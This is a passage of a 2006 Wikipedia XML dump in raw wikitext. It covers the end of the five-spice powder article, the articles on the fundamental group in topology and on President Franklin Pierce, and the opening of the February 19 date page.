The formulae are based on the Chinese philosophy of balancing the [[Yin Yang|yin and yang]] in food.
A pinch of the powder goes a long way.

Although this spice is used in restaurant cooking, many Chinese households never use it in day-to-day cooking.  In [[Cuisine of Hawaii|Hawaii]] some restaurants have it on the table.  

A versatile seasoned salt can be easily made by stir-frying common [[edible salt|salt]] with five spice powder under low heat in a dry pan until the spice and salt are well mixed.

==Sample recipe==
Here's a basic recipe for home-made five spice powder.
#Roast two teaspoons of Szechuan peppercorns in a dry frypan for about three minutes.
#Grind the peppercorns in a pepper grinder or coffee grinder together with 8 star anise pods.
#Strain the ground spices to remove any larger bits.
#Mix together 1/2 teaspoon ground cloves, 1 tablespoon ground cinnamon, and 1 tablespoon ground fennel seeds.
#Grind the completed mixture until it is a very fine powder.
#Use sparingly, as it is extremely pungent.

==See also==
*[[Wikibooks:Cookbook:Five spice powder|The Wikibooks Cookbook]] may have additional variations on this theme

&lt;!-- CAUTION: The Wikipedia Cookbook page relies on the history of this article for the validity of its GFDL license. If you move or delete this article you should update the cookbook article as well. A deletion would need to copy at least the five primary authors information to the cookbook, better the whole history complete with differences, in case there's multiple licensing (like CC and GFDL) involved which would be lost if only the five primary authors were copied. --&gt;

[[category:Cantonese cuisine]]
[[Category:Chinese cuisine]]
[[Category:Herb and spice mixtures]]

[[et:Viievürtsisegu]]
[[fi:Viismauste]]
[[ja:五香粉]]
[[zh:五香粉]]</text>
    </revision>
  </page>
  <page>
    <title>Fundamental group</title>
    <id>11004</id>
    <revision>
      <id>40911800</id>
      <timestamp>2006-02-23T21:11:58Z</timestamp>
      <contributor>
        <ip>137.131.130.84</ip>
      </contributor>
      <comment>/* Examples */</comment>
      <text xml:space="preserve">In [[mathematics]], the '''fundamental group''' is one of the basic concepts of [[algebraic topology]]. Associated with every point of a [[topological space]] there is a fundamental [[group (mathematics)|group]] that conveys information about the 1-dimensional structure of the portion of the space surrounding the given point. The fundamental group is the first [[homotopy group]].

== Intuition and definition ==

Before giving a precise definition of the fundamental group, we try to describe the general idea in non-mathematical terms. Take some space, and some point in it, and consider all the loops at this point -- paths which start at this point, wander around as much they like and eventually return to the starting point. Two loops can be combined together in an obvious way: travel along the first loop, then along the second. The set of all the loops with this method of combining them is the fundamental group, except that for technical reasons it is necessary to consider two loops to be the same if one can be deformed into the other without breaking.

For the precise definition, let ''X'' be a topological space, and let ''x''&lt;sub&gt;0&lt;/sub&gt; be a point of ''X''. We are interested in the set of [[continuous function (topology)|continuous]] functions ''f'' : [0,1] &amp;rarr; ''X'' with the property that ''f''(0) = ''x''&lt;sub&gt;0&lt;/sub&gt; = ''f''(1). These functions are called '''[[Path (topology)|loops]]''' with '''base point''' ''x''&lt;sub&gt;0&lt;/sub&gt;. Any two such loops, say ''f'' and ''g'', are considered equivalent if there is a continuous function ''h'' : [0,1] &amp;times; [0,1] &amp;rarr; ''X'' with the property that, for all ''t'' in [0,1], ''h''(''t'',0) = ''f''(''t''), ''h''(''t'',1) = ''g''(''t'') and ''h''(0,''t'') = ''x''&lt;sub&gt;0&lt;/sub&gt; = ''h''(1,''t''). Such an ''h'' is called a '''homotopy''' from ''f'' to ''g'', and the corresponding [[equivalence class|equivalence classes]] are called '''homotopy classes'''. The product ''f'' &amp;lowast; ''g'' of two loops ''f'' and ''g'' is defined by setting (''f'' &amp;lowast; ''g'')(t) = ''f''(2''t'') if ''t'' is in [0,1/2] and (''f'' &amp;lowast; ''g'')(t) = ''g''(2''t'' &amp;minus; 1) if ''t'' is in [1/2,1]. The loop ''f'' &amp;lowast; ''g'' thus first follows the loop ''f'' with &quot;twice the speed&quot; and then follows ''g'' with twice the speed. The product of two homotopy classes of loops [''f''] and [''g''] is then defined as [''f'' &amp;lowast; ''g''], and it can be shown that this product does not depend on the choice of representatives. With this product, the set of all homotopy classes of loops with base point ''x''&lt;sub&gt;0&lt;/sub&gt; forms the fundamental group of ''X'' at the point ''x''&lt;sub&gt;0&lt;/sub&gt; and is denoted &amp;pi;&lt;sub&gt;1&lt;/sub&gt;(''X'',''x''&lt;sub&gt;0&lt;/sub&gt;), or simply &amp;pi;(''X'',''x''&lt;sub&gt;0&lt;/sub&gt;).  The identity element is the constant map at the basepoint, and the inverse of a loop ''f'' is the loop ''g'' defined by ''g''(t) = ''f''(1 &amp;minus; ''t'').  That is, ''g'' follows ''f'' backwards.

Although the fundamental group in general depends on the choice of base point, it turns out that, [[up to]] [[isomorphism]], this choice makes no difference if the space ''X'' is [[connectedness|path-connected]]. For path-connected spaces, therefore, we can write &amp;pi;(''X'') instead of &amp;pi;(''X'',''x''&lt;sub&gt;0&lt;/sub&gt;) without ambiguity whenever we care about the [[isomorphism|isomorphy class]] only.

== Examples ==

In many spaces, such as '''R'''&lt;sup&gt;''n''&lt;/sup&gt;, or any [[convex]] subset of '''R'''&lt;sup&gt;''n''&lt;/sup&gt;, there is only one homotopy class of loops, and the fundamental group is therefore trivial, i.e. ({0},+). A path-connected space with a trivial fundamental group is said to be [[Simply connected space|simply connected]].

A more interesting example is provided by the [[circle]]. It turns out that each homotopy class consists of all loops which wind around the circle a given number of times (which can be positive or negative, depending on the direction of winding). The product of a loop which winds around ''m'' times and another that winds around ''n'' times is a loop which winds around ''m'' + ''n'' times. So the fundamental group of the circle is [[isomorphic]] to &lt;math&gt;(\mathbb{Z}\ , +)&lt;/math&gt;, the additive group of [[integer|integers]].  This fact can be used to give proofs of the [[Brouwer fixed point theorem]] and the [[Borsuk-Ulam theorem]] in dimension 2.

Since the fundamental group is a homotopy invariant, the theory of the [[winding number]] for the complex plane minus one point is the same as for the circle.

Unlike the [[homology group]]s and higher homotopy groups associated to a topological space, the fundamental group need not be [[abelian group|Abelian]].  For example, the fundamental group of a [[graph_(mathematics)|graph]] ''G'' is a [[free group]].  Here the rank of the free group is equal to 1 &amp;minus; &amp;chi;(''G''): one minus the [[Euler characteristic]] of ''G''.  A somewhat more sophisticated example of a space with a non-Abelian fundamental group is the complement of a [[trefoil knot]] in '''R'''&lt;sup&gt;3&lt;/sup&gt;.

== Functoriality ==

If ''f'' : ''X'' &amp;rarr; ''Y'' is a continuous map, ''x''&lt;sub&gt;0&lt;/sub&gt;&amp;isin;''X'' and ''y''&lt;sub&gt;0&lt;/sub&gt;&amp;isin;''Y'' with ''f''(''x''&lt;sub&gt;0&lt;/sub&gt;) = ''y''&lt;sub&gt;0&lt;/sub&gt;, then every loop in ''X'' with base point ''x''&lt;sub&gt;0&lt;/sub&gt; can be composed with ''f'' to yield a loop in ''Y'' with base point ''y''&lt;sub&gt;0&lt;/sub&gt;. This operation is compatible with the homotopy equivalence relation and the composition of loops, and we get a [[group homomorphism]] from &amp;pi;(''X'',''x''&lt;sub&gt;0&lt;/sub&gt;) to &amp;pi;(''Y'',''y''&lt;sub&gt;0&lt;/sub&gt;). This homomorphism is written as &amp;pi;(''f'') or ''f''&lt;sub&gt;*&lt;/sub&gt;. We thus obtain a [[category theory|functor]] from the category of topological spaces with base point to the category of groups.

It turns out that this functor cannot distinguish maps which are [[homotopic]] relative the base point:  if ''f'' and ''g'' : ''X'' &amp;rarr; ''Y'' are continuous maps with ''f''(''x''&lt;sub&gt;0&lt;/sub&gt;) = ''g''(''x''&lt;sub&gt;0&lt;/sub&gt;) = ''y''&lt;sub&gt;0&lt;/sub&gt;, and ''f'' and ''g'' are homotopic relative to {''x''&lt;sub&gt;0&lt;/sub&gt;}, then ''f''&lt;sub&gt;*&lt;/sub&gt; = ''g''&lt;sub&gt;*&lt;/sub&gt;. As a consequence, two homotopy equivalent path-connected spaces have isomorphic fundamental groups.

== Relationship to first homology group ==

The fundamental groups of a topological space ''X'' are related to its first singular [[homology group]], because a loop is also a singular 1-cycle. Mapping the homotopy class of each loop at a base point ''x''&lt;sub&gt;0&lt;/sub&gt; to the homology class of the loop gives a homomorphism from the fundamental group &amp;pi;(''X'',''x''&lt;sub&gt;0&lt;/sub&gt;) to the homology group ''H''&lt;sub&gt;1&lt;/sub&gt;(''X''). If ''X'' is path-connected, then this homomorphism is [[surjective]] and its [[Kernel_(algebra)|kernel]] is the [[commutator subgroup]] of &amp;pi;(''X'',''x''&lt;sub&gt;0&lt;/sub&gt;), and ''H''&lt;sub&gt;1&lt;/sub&gt;(''X'') is therefore isomorphic to the abelianization of &amp;pi;(''X'',''x''&lt;sub&gt;0&lt;/sub&gt;). This is a special case of the [[Hurewicz theorem]] of algebraic topology.

== Related concepts ==

The fundamental group measures the 1-dimensional hole structure of a space. For studying &quot;higher-dimensional holes&quot;, the [[homotopy group]]s are used.  The elements of the n-th homotopy group of X are homotopy classes of (basepointed) maps from S&lt;sup&gt;''n''&lt;/sup&gt; to X.

The set of loops at a particular base point can be studied without regarding homotopic loops as equivalent. This larger object is the [[loop space]].

===Fundamental groupoid===

Rather than singling out one point and considering the loops based at that point up to homotopy, one can also consider ''all'' paths in the space up to homotopy (fixing the initial and final point). This yields not a group but a [[groupoid]], the '''fundamental groupoid''' of the space.

[[de:Fundamentalgruppe]]
[[fr:Groupe fondamental]]
[[es:Grupo fundamental]]
[[it:Gruppo fondamentale]]
[[ru:&amp;#1060;&amp;#1091;&amp;#1085;&amp;#1076;&amp;#1072;&amp;#1084;&amp;#1077;&amp;#1085;&amp;#1090;&amp;#1072;&amp;#1083;&amp;#1100;&amp;#1085;&amp;#1072;&amp;#1103; &amp;#1075;&amp;#1088;&amp;#1091;&amp;#1087;&amp;#1087;&amp;#1072;]]
[[sv:Fundamentalgrupp]]

[[Category:Algebraic topology]]
[[Category:Homotopy theory]]</text>
    </revision>
  </page>
  <page>
    <title>Franklin Pierce</title>
    <id>11005</id>
    <revision>
      <id>41074918</id>
      <timestamp>2006-02-24T22:07:11Z</timestamp>
      <contributor>
        <username>TgordonD</username>
        <id>921022</id>
      </contributor>
      <minor />
      <comment>/* Election of 1852 */</comment>
      <text xml:space="preserve">{{Infobox_President | name=Franklin Pierce
| nationality=american
| image=Franklin Pierce.jpg
| order=14th President
| term_start=[[March 4]], [[1853]]
| term_end=[[March 4]], [[1857]]&lt;!-- Prior to the passage of the 20th Amendment, presidential terms ended at 11:59:59 on March 4. --&gt;
| predecessor=[[Millard Fillmore]]
| successor=[[James Buchanan]]
| birth_date=[[November 23]], [[1804]]
| birth_place=[[Hillsborough (town), New Hampshire|Hillsborough]], [[New Hampshire]]
| death_date=[[October 8]], [[1869]]
| death_place=[[Concord, New Hampshire|Concord]], [[New Hampshire]]
| spouse=[[Jane Pierce|Jane Appleton Pierce]]
| party=[[Democratic Party (United States)|Democrat]]
| vicepresident=[[William R. King]]
}}
'''Franklin Pierce''' ([[November 23]], [[1804]]&amp;ndash;[[October 8]], [[1869]]) was an [[Politics of the United States|American politician]] and the 14th [[President of the United States]], serving from 1853 to 1857. Pierce was a [[Democratic Party (United States)|Democrat]] and the first president to be born in the 19th century. He was a &quot;doughface&quot; (a Northerner with Southern sympathies) who served in the [[United States House of Representatives|U.S. House of Representatives]] and [[United States Senate|Senate]]. Later, Pierce took part in the [[Mexican-American War]], becoming a [[brigadier general]]. His private law practice in his home state, [[New Hampshire]], was so successful that he turned down several important positions. Later, he was nominated for president as a &quot;[[dark horse]]&quot; candidate on the 49th ballot at the [[1852 Democratic National Convention]]. In the [[U.S. presidential election, 1852|presidential election]], Pierce and his running mate [[William R. King]] won in a landslide, beating [[Winfield Scott]] by a 50 to 44% margin in the popular vote and 254 to 42 in the [[United States Electoral College|electoral vote]]. He became the youngest president up until that time.

His good looks and inoffensive personality caused him to make many friends, but he did not do what was necessary to avoid the impending [[American Civil War]], thus giving him his reputation as one of the [[historical rankings of U.S. Presidents|worst presidents in U.S. history]]. Pierce's popularity in the [[U.S. Northern states|North]] went down sharply after he came out in favor of the [[Kansas-Nebraska Act]], repealing the [[Missouri Compromise]] and reopening the question of the expansion of [[History of slavery in the United States|slavery]] in the [[American West|West]]. Pierce's credibility was further damaged when several of his foreign ministers issued the [[Ostend Manifesto]]. Abandoned by his own party, he was not renominated at the [[U.S. presidential election, 1856|1856 presidential election]], and was replaced by [[James Buchanan]]. After losing the Democratic nomination, Pierce continued his lifelong struggle with [[alcoholism]] as his marriage to [[Jane Means Appleton Pierce]] fell apart. He destroyed his reputation by declaring support for the [[Confederate States of America|Confederacy]] during the [[American Civil War|Civil War]] and died in 1869 from [[cirrhosis]]. 

Philip B. and Peter W. Kunhardt reflected the views of many historians when they wrote in the ''The American President'' that Pierce was &quot;a good man who didn't understand his own shortcomings. To his credit, he loved his wife and reshaped himself so that he could put up with her aristocratic, nervous ways and show her true affection. He was one of the most popular men in New Hampshire, polite and thoughtful, easy and good at the political game, charming and fine and handsome. And he was genuinely religious. And yet he was a timid man with a shallow, rigid, old-fashioned mind which could not cope with a changing America. In addition, Pierce was hounded by guilt, temptation, and just plain bad luck.&quot; 

==Early life==
Pierce was born in 1804 in a [[log cabin]] near [[Hillsborough, New Hampshire|Hillsborough]], [[New Hampshire]], part of the [[Transcendental Generation]]. The site of his birth is now under [[Lake Franklin Pierce]]. Pierce's father was [[Benjamin Pierce (governor)|Benjamin Pierce]], a frontier farmer who became a [[American Revolutionary War|Revolutionary War]] soldier, state militia general, and two-time [[governor of New Hampshire]]. His mother was Anna Kendrick. Pierce had six older and two younger siblings, four brothers and three sisters. 

Pierce attended school at [[Hillsborough Center]] and moved to the Hancock Academy in [[Hancock, New Hampshire|Hancock]] at the age of 11; he was transferred to Francestown Academy in spring [[1820]]. Later that year he was transferred to [[Phillips Exeter Academy]] to prepare for college and later that year entered [[Bowdoin College]] in [[Brunswick, Maine|Brunswick]], [[Maine]], where he participated in literary, political, and debating clubs. There he met writer [[Nathaniel Hawthorne]], with whom he formed a lasting friendship, and [[Henry Wadsworth Longfellow]]. He also met [[Calvin E. Stowe]], [[Sargent S. Prentiss]], and his future political rival [[John P. Hale]].

In his second year of college, his grades were the lowest in his class; he changed his habits and graduated in [[1824]] third in his class. After graduation, in [[1826]] he entered a [[law school]] in [[Northampton, Massachusetts|Northampton]], [[Massachusetts]], studying under Governor [[Levi Woodbury]] and later Judges [[Samuel Howe]] and [[Edmund Parker]] in [[Amherst, New Hampshire|Amherst]], New Hampshire.

He was admitted to the [[bar (law)|bar]] and began a law practice in [[Concord, New Hampshire|Concord]], New Hampshire, in [[1827]].

==Political career==
Pierce began his political career in [[1828]], when he was elected to the [[lower house]] of the [[New Hampshire General Court]], the [[New Hampshire House of Representatives]]. He served in the House from [[1829]] to [[1833]], and as [[Speaker of the House|Speaker]] from [[1832]] to [[1833]]. Pierce was elected as a Democrat to the [[Twenty-third United States Congress|23rd]] and [[Twenty-third United States Congress|24th Congresses]]([[March 4]], [[1833]]&amp;ndash;[[March 4]], [[1837]]). He was only 27 years old, the youngest representative at the time. 

He was elected by the New Hampshire General Court as a Democrat to the United States Senate, serving from [[March 4]], [[1837]], to [[February 28]], [[1842]], when he resigned. He was chairman of the [[U.S. Senate Committee on Pensions]] during the [[Twenty-sixth United States Congress|26th Congress]].

[[Image:Jane_Appleton_Pierce.JPG|thumb|right|Jane Appleton Pierce]]
After his service in the Senate, Pierce resumed the practice of law in [[Concord, New Hampshire|Concord]] with his partner [[Asa Fowler]]. He was district attorney for New Hampshire, and declined the appointment as [[United States Attorney General|Attorney General of the United States]] tendered by President [[James Knox Polk|James Polk]]. 

On [[November 19]], [[1834]], Pierce married Jane Means Appleton, the daughter of a former president of Bowdoin College. Appleton, who was born in [[1806]] and died in [[1863]], was Pierce's opposite. She came from an aristocratic [[Whig]] family, and was extremely shy, deeply religious, often ill, and pro-[[temperance]]. Mrs. Pierce hated life in [[Washington, D.C.]], and encouraged Pierce to resign his Senate seat and return to New Hampshire, which he did in [[1841]]. They had three children. Two died in childhood&amp;mdash;Franklin Pierce, Jr. ([[1836]]) in infancy and Frank Robert Pierce ([[1839]]&amp;ndash;[[1843]]) at the age of four from [[epidemic typhus]]. Benjamin &quot;Bennie&quot; Pierce ([[1841]]&amp;ndash;[[1853]]) died in a tragic railway accident at the age of 12. The accident occurred as the Pierces were on their way to the inauguration.

==Mexican War==
He enlisted in the volunteer services during the [[Mexican-American War]] and was soon made a colonel.  In March 1847, he was appointed brigadier general of volunteers and took command of a brigade of reinforcements for [[Winfield Scott]]'s army marching on [[Mexico City]]. His brigade was designated the 1st Brigade in the newly created 3rd Division and joined Scott's army in time for the [[Battle of Contreras]].  During the battle he was seriously wounded in the leg when he fell from his horse.  He returned to his command the following day but during the [[battle of Churubusco]] the pain in his leg became so great that he passed out and was carried from the field.  His political opponents used this against him, claiming that he left the field because of cowardice instead of injury.  He again returned to command and led his brigade throughout the rest of the campaign culminating in the [[Battle for Mexico City|capture of Mexico City]].  Although he was a political appointee he proved to have some skill as a military commander.  He returned home and was a member of the New Hampshire State [[Constitutional convention (political meeting)|constitutional convention]] in [[1850]] and served as its president.

==Election of 1852==
[[Image:ElectoralCollege1852-Large.png|300px|thumb|right|The electoral map of the 1852 election.]]
{{main|U.S. presidential election, 1852}}
The Democratic Party nominated Pierce as a &quot;[[dark horse]]&quot; candidate during the Democratic National Convention of 1852. The convention assembled on [[June 12]] in [[Baltimore, Maryland|Baltimore]], [[Maryland]], with four competing contenders&amp;mdash;[[Stephen A. Douglas]], [[William Marcy]], [[James Buchanan]] and [[Lewis Cass]]&amp;mdash;for the nomination. Most of those who had left the party with [[Martin Van Buren]] to form the [[Free Soil Party]] had returned. Prior to the vote to determine the nominee, a [[party platform]] was adopted, opposing any further &quot;agitation&quot; over the slavery issue and supporting the [[Compromise of 1850]] in an effort to unite the various Democratic factions.  

When the balloting for president began, the four candidates deadlocked, with no candidate reaching even a simple majority, much less the required [[supermajority]] of two-thirds. On the 35th ballot, Pierce was put forth as a compromise candidate. He had never fully articulated his views on slavery, which allowed him to be acceptable to all factions. He also had served in the Mexican-American War, which allowed the party to portray him as a [[war hero]]. Pierce was nominated unanimously on the 49th ballot on [[June 5]]. Senator [[William R. King]] of [[Alabama]] was chosen as the nominee for [[Vice President of the United States|Vice President]].
 
Pierce's opponent was the [[United States Whig Party|Whig]] candidate, [[General]] [[Winfield Scott]] of [[Virginia]], whom Pierce served under during the Mexican-American War, and his running mate, Senator (and later [[Governor of North Carolina|Governor]]) [[William Alexander Graham]] of [[North Carolina]]. Pierce easily prevailed as Scott&amp;mdash;nicknamed &quot;Old Fuss and Feathers&quot;&amp;mdash;ran a blundering campaign. The Whigs' platform was almost indistinguishable from that of the Democrats, reducing the campaign to a contest between the personalities of the two candidates and helping to drive down the [[Voter turnout|turnout rates]] in the election to their lowest level since [[U.S. presidential election, 1836|1836]]. Pierce's likeable personality, plus his helpful obscurity and lack of strongly held positions, helped him prevail over Scott, whose anti-slavery views hurt him in the South. Scott's advantage as a known war hero was countered by Pierce's service in the same war.  Pierce was also helped by Irish support of the Democratic Party and their disdain for the Whig Party.  Scott alienated several anti-Irish elements in the Whig Party by pandering (unsuccessfully) to the Irish voters.

The Democrats' slogan was &quot;We Polked you in [[1844]]; we shall Pierce you in 1852!&quot; (a reference to the victory of [[James K. Polk]] in the [[U.S. presidential election, 1844|1844 election]]). This proved to be true, as Scott lost every state except [[Kentucky]], [[Tennessee]], [[Massachusetts]], and [[Vermont]]. The total popular vote was 1,601,274 to 1,386,580, or 50.9% to 44.1%. Pierce won 27 of the 31 states, including Scott's home state of Virginia. [[John P. Hale]], who like Pierce was from New Hampshire, was the nominee of the remnants of the Free Soil Party, garnering 155,825 votes (5% of the total). 

The election of 1852 would be the last presidential contest in which the Whigs would field a candidate. In [[1854]], the Kansas-Nebraska Act divided the Whigs, with the Northern Whigs deeply opposed, resulting in a split between former Whigs, some of whom joined the [[Anti-immigrant|anti-immigration]] [[Know-Nothing movement|American Party]] ([[Know-Nothing movement|Know-Nothings]]), others the [[Constitutional Union Party (United States)|Constitutional Union Party]], and still others the newly formed [[United States Republican Party|Republicans]].

==Presidency 1853-1857==
===Beginnings===
Pierce served as president from [[March 4]], [[1853]], to [[March 4]], [[1857]]. Two months before he took office, shortly after boarding a train in [[Boston, Massachusetts|Boston]], president-elect Pierce and his family were trapped in a [[Derailment|derailed]] car when it rolled over an [[embankment]] near [[Andover, Massachusetts]]. Pierce and his wife survived and were merely shaken up, but they watched as their 11-year-old son Benjamin (&quot;Bennie&quot;) was crushed to death in the [[train disaster]]. Grief-stricken, Pierce entered the presidency nervously exhausted. The family had already lost two children to typhus, and Jane Pierce believed the train accident was divine punishment for her husband's acceptance of the high office of the presidency. As a result, Pierce chose to &quot;affirm&quot; his [[oath of office]] on a law book rather than the Bible, becoming the first and thus far only president to do so. In his [[Inauguration Day|inaugural address]], he proclaimed an era of peace and prosperity at home and vigor in relations with other nations, saying that the United States might have to acquire additional possessions for the sake of its own security and would not be deterred by &quot;any timid forebodings of evil.&quot;

===Policies===
Pierce selected for his [[United States Cabinet|Cabinet]] not men of similar beliefs but a broad cross-section of people he personally knew. Many thought that the diverse group would soon break up, but instead it became the only Cabinet, [[as of 2006]], that would remain unchanged through a four-year term.

Pierce aroused sectional apprehension when he pressured [[United Kingdom|Britain]] to relinquish its special interests along part of the [[Central America]]n coast, and even more when he tried to persuade [[Spain]] to sell [[Cuba]] for $100 million because of the expansive sugar crop in Cuba. The release of the [[Ostend Manifesto]], signed by several of Pierce's cabinet members, caused outrage with its suggestion that the U.S. seize Cuba by force, and permanently discredited the Democratic Party's expansionist policies, which it had so famously rode to victory in 1844.

But the most controversial event of Pierce's presidency was the [[Kansas-Nebraska Act]], which repealed the [[Missouri Compromise]] and reopened the question of slavery in the West. This measure, the handiwork of Senator [[Stephen A. Douglas]], allegedly grew out of his desire to promote a railroad from [[Chicago, Illinois]] to [[California]] through [[Nebraska]]. Secretary of War [[Jefferson Davis]], advocate of a southern transcontinental route, had persuaded Pierce to send [[James Gadsden]] to Mexico to buy land for a southern railroad. He purchased the area now comprising southern [[Arizona]] and part of southern New Mexico for $10,000,000, commonly known as the [[Gadsden Purchase]].

Douglas, to win Southern support for the organization of Nebraska, placed in his bill a provision declaring the Missouri Compromise null and void. Douglas provided in his bills that the residents of the new territories could decide the slavery question for themselves. Pierce, who had acquired a reputation as untrustworthy and easily manipulable, was persuaded to support Douglas' plan in a closed meeting between Pierce, Douglas, and several southern Senators, with Pierce consulting only [[Jefferson Davis]] of his cabinet. The passage of Kansas-Nebraska caused widespread outrage in the North and spurred the creation of the Republican Party, a sectional, Northern party which was organized as a direct response to the bill. The election of Republican [[Abraham Lincoln]] would provoke secession in 1861. 

Meanwhile, Pierce lost all credibility he may have had in the North and his supporters in the South and was not renominated.

===Major legislation signed===
* Signed [[Kansas-Nebraska Act]]

===Administration and Cabinet===
[[Image:franklin pierce stamp.JPG|right|thumb|Franklin Pierce postage stamp]]
{| cellpadding=&quot;1&quot; cellspacing=&quot;4&quot; style=&quot;margin:3px; border:3px solid #000000;&quot; align=&quot;left&quot;
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|'''OFFICE'''||align=&quot;left&quot;|'''NAME'''||align=&quot;left&quot;|'''TERM'''
|-
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|[[President of the United States|President]]||align=&quot;left&quot; |'''[[Franklin Pierce]]'''||align=&quot;left&quot;|1853&amp;ndash;1857
|-
|align=&quot;left&quot;|[[Vice President of the United States|Vice President]]||align=&quot;left&quot;|'''[[William R. King]]'''||align=&quot;left&quot;|1853
|-
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|[[United States Secretary of State|Secretary of State]]||align=&quot;left&quot;|'''[[William L. Marcy]]'''||align=&quot;left&quot;|1853&amp;ndash;1857
|-
|align=&quot;left&quot;|[[United States Secretary of the Treasury|Secretary of the Treasury]]||align=&quot;left&quot;|'''[[James Guthrie]]'''||align=&quot;left&quot;|1853&amp;ndash;1857
|-
|align=&quot;left&quot;|[[United States Secretary of War|Secretary of War]]||align=&quot;left&quot;|'''[[Jefferson Davis]]'''||align=&quot;left&quot;|1853&amp;ndash;1857
|-
|align=&quot;left&quot;|[[Attorney General of the United States|Attorney General]]||align=&quot;left&quot;|'''[[Caleb Cushing]]'''||align=&quot;left&quot;|1853&amp;ndash;1857
|-
|align=&quot;left&quot;|[[Postmaster General of the United States|Postmaster General]]||align=&quot;left&quot;|'''[[James Campbell (Postmaster General)|James Campbell]]'''||align=&quot;left&quot;|1853&amp;ndash;1857
|-
|align=&quot;left&quot;|[[United States Secretary of the Navy|Secretary of the Navy]]||align=&quot;left&quot;|'''[[James C. Dobbin]]'''||align=&quot;left&quot;|1853&amp;ndash;1857
|-
|align=&quot;left&quot;|[[United States Secretary of the Interior|Secretary of the Interior]]||align=&quot;left&quot;|'''[[Robert McClelland (American)|Robert McClelland]]'''||align=&quot;left&quot;|1853&amp;ndash;1857
|}
&lt;br clear=&quot;all&quot;&gt;

===Supreme Court appointments===
Pierce appointed the following Justices to the [[Supreme Court of the United States]]:
* [[John Archibald Campbell]] - 1853

===States admitted to the Union===
''none''

==Retirement==
After losing the Democratic nomination, Pierce reportedly quipped &quot;there's nothing left to do but get drunk&quot; (quoted also as &quot;after the [[White House]] what is there to do but drink?&quot;) which he apparently did frequently, once running down an elderly woman while driving a carriage, drunk. During the Civil War, Pierce further damaged his reputation by declaring support for the Confederacy, headed by his old cabinet member Davis. One of the few friends to stick by Pierce was his college friend and biographer, [[Nathaniel Hawthorne]]. Franklin Pierce died in [[Concord, New Hampshire|Concord]], [[New Hampshire]] at 4:40 in the morning of [[October 8]], [[1869]], from [[cirrhosis]] of the [[liver]], and was interred in Minot Enclosure in the Old North Cemetery.

==Legacy==
Places named after President Pierce:
* [[Franklin Pierce College]] in [[Rindge, New Hampshire|Rindge]], [[New Hampshire]]
* [[Franklin Pierce School District]] in [[Tacoma, Washington|Tacoma]], [[Washington]]
* [[Franklin Pierce High School]] in the [[Franklin Pierce School District]] in [[Tacoma, Washington|Tacoma]], [[Washington]]
* [[Pierce County, Washington|Pierce County]], [[Washington]]
* The [[Franklin Pierce Law Center]] in [[Concord, New Hampshire|Concord]], [[New Hampshire]]
* [[Mt. Pierce]] in the [[Presidential Range]] of the [[White Mountains]], [[New Hampshire]]

Pierce and [[Barbara Bush]] share a common ancestor, thus President [[George W. Bush]] is not only related to Pierce, but in some photos (as with the one on this page) there is an observable facial resemblance between the two.

==References==
* Gara, Larry, ''The Presidency of Franklin Pierce'' (1991)
* Nichols; Roy Franklin. ''Franklin Pierce, Young Hickory of the Granite Hills'' (1931)
* Taylor; Michael J.C. &quot;Governing the Devil in Hell: 'Bleeding Kansas'  and the Destruction of the Franklin Pierce Presidency (1854-1856)&quot; ''White House Studies'', Vol. 1, 2001, pp 185-205

==External links==
{{wikiquote}}
* {{gutenberg author| id=Franklin+Pierce | name=Franklin Pierce}}
*[http://www.whitehouse.gov/history/presidents/fp14.html White House biography]
*[http://www.yale.edu/lawweb/avalon/presiden/inaug/pierce.htm Inaugural Address]
*[http://www.eldritchpress.org/nh/fppf.html The Life of Franklin Pierce By Nathaniel Hawthorne]
*State of the Union:  [http://www.usa-presidents.info/union/pierce-1.html 1853], [http://www.usa-presidents.info/union/pierce-2.html 1854], [http://www.usa-presidents.info/union/pierce-3.html 1855], [http://www.usa-presidents.info/union/pierce-4.html 1856]

{{start box}}
{{succession box
| title=[[United States House of Representatives, New Hampshire District 3|Member of the U.S. House of Representatives from New Hampshire's 3rd District]]
| before=[[Joseph Hammons]]
| after=[[Jared W. William]]
| years=1833 &amp;ndash; 1837}}
{{U.S. Senator box
| state=New Hampshire
| class=2
| before=[[John Page (New Hampshire)|John Page]]
| after=[[Leonard Wilcox]]
| alongside=[[Henry Hubbard]], [[Levi Woodbury]]
| years=1837 &amp;ndash; 1842}}
{{succession box
| title=[[List_of_United_States_Democratic_Party_presidential_tickets|Democratic Party presidential nominee]]
| before=[[Lewis Cass]]
| after=[[James Buchanan]]
| years=[[U.S. presidential election, 1852|1852]] (won)}}
{{succession box 
| title=[[President of the United States]]
| before=[[Millard Fillmore]]
| after=[[James Buchanan]]
| years=[[March 4]], [[1853]] &amp;ndash; [[March 3]], [[1857]]&lt;!-- Prior to the passage of the 20th Amendment, presidential terms ended at 11:59:59 on March 4. --&gt;}}
{{end box}}
{{USpresidents}}
{{USDemPresNominees}}
[[Category:1804 births|Pierce, Franklin]]
[[Category:1869 deaths|Pierce, Franklin]]

[[Category:Democratic Party (United States) presidential nominees|Pierce, Franklin]]
[[Category:Episcopalians|Pierce, Franklin]]
[[Category:Members of the United States House of Representatives from New Hampshire|Pierce, Franklin]]
[[Category:People from New Hampshire|Pierce, Franklin]]
[[Category:Presidents of the United States|Pierce, Franklin]]
[[Category:United States Army generals|Pierce, Franklin]]
[[Category:United States Senators from New Hampshire|Pierce, Franklin]]

[[ang:Franklin Pierce]]
[[bg:Франклин Пиърс]]
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[[eo:Franklin PIERCE]]
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[[ko:프랭클린 피어스]]
[[id:Franklin Pierce]]
[[it:Franklin Pierce]]
[[he:פרנקלין פירס]]
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[[zh:福兰克林·皮尔斯]]</text>
    </revision>
  </page>
  <page>
    <title>February 19</title>
    <id>11006</id>
    <revision>
      <id>42120929</id>
      <timestamp>2006-03-03T23:29:33Z</timestamp>
      <contributor>
        <username>Nigosh</username>
        <id>221949</id>
      </contributor>
      <comment>rv vanity entry</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{FebruaryCalendar}}
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|{{ThisDateInRecentYears|Month=February|Day=19}}
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'''February 19''' is the 50th day of the year in the [[Gregorian Calendar]]. There are 315 days remaining, 316 in [[leap year]]s.
==Events==
